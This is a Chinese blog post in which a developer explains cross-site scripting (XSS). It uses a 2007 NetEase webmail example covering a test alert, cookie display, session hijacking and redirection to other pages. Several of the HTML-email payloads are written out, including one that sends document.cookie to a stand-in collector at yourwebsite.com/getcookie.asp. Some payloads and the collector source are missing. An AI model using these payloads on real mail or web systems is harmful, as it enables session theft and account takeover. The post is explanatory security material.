有关于XSS 跨站攻击

          上一个项目是个工作流项目。

           我进去做技术架构,结果在最后出了个纰漏。测试发现框架没有对前台页面中的输入框做JS check。

           也就是说,客户可以在前台画面的输入框中构造javascript,然后成功提交到后台写入DB。

           系统安全这块,实在是我的短板。虽然后来用encode之类解决了问题,但是还是想搞清楚背后的故事。

 

          背后其实就是XSS 跨站攻击,简单说起来就是JavaScript注入,和Sql注入类似,在画面的输入框上精心构造javascript,然后提交到出去。

          当被执行的时候,就可以执行该JS,获取很多隐私数据。

          玩这个东西绝对需要javascript的高手。以下以网易邮箱举例(07年的事情)

          1.测试XSS
    新建一个邮件,填好收件人和邮件主题,在正文的工具栏里有个勾选框可以编辑html格式的内容,如图

    勾选后输入如下内容:<img dynsrc=javascript:alert(“hi,163”)>,如图

    点击发送后再收取并打开刚刚的邮件,发现跳出一个对话框,很明显,在这里我们可以插入htm代码并成功运行。如图

2.获取cookie测试

    当然,破坏者们的目标不是仅仅让它跳个对话框出来给人们一个惊讶,他们会想办法获得些敏感信息,比如cookie。

    看下取得cookie的实验吧。同样新建一个邮件,填好收件人与主题,并勾选“编辑源码”,在正文里写入如下语句:

    如图:

    然后发送并收取mail,看看是什么?对的,把cookie都显示出来了。如图:

 

3.session欺骗

    上面只是一个测试,现在所讲的方法可以让攻击者在有效时间内登陆受害者的邮箱,这就是session欺骗。Session的默认有效时间是20分钟,当攻击者截取到session,同时受害者没有注销掉会话记录的时候,欺骗就成功了。

    同样勾选“编辑源码”,填入以下内容:
    <img dynsrc=javascript:window.location.href='http://yourwebsite.com/getcookie.asp?msg='+document.cookie>。

    意思是访问你的服务器上getcookie.asp文件,这个文件用于收取访问者的cookie,收取后在你的服务器上生成指定文件。如图:

    getcookie.asp的源码是:
4. 最危险的利用

    如果你认为这个漏洞的破坏程度这是这样那就错了,既然上面的利用可以让你访问任意文件,那么如果攻击者让你浏览的是病毒页面呢?可想而知,如果你的 IE存在漏洞,那是非常危险的。这是简单演示下让收信人访问 baidu网站。

    勾选“编辑源码”,写入内容:
    如图

    发送邮件并收取打开后如图:


    很明显这是一个破坏力极大的漏洞。

你可能感兴趣的:(JavaScript,html,session,服务器,测试,网易)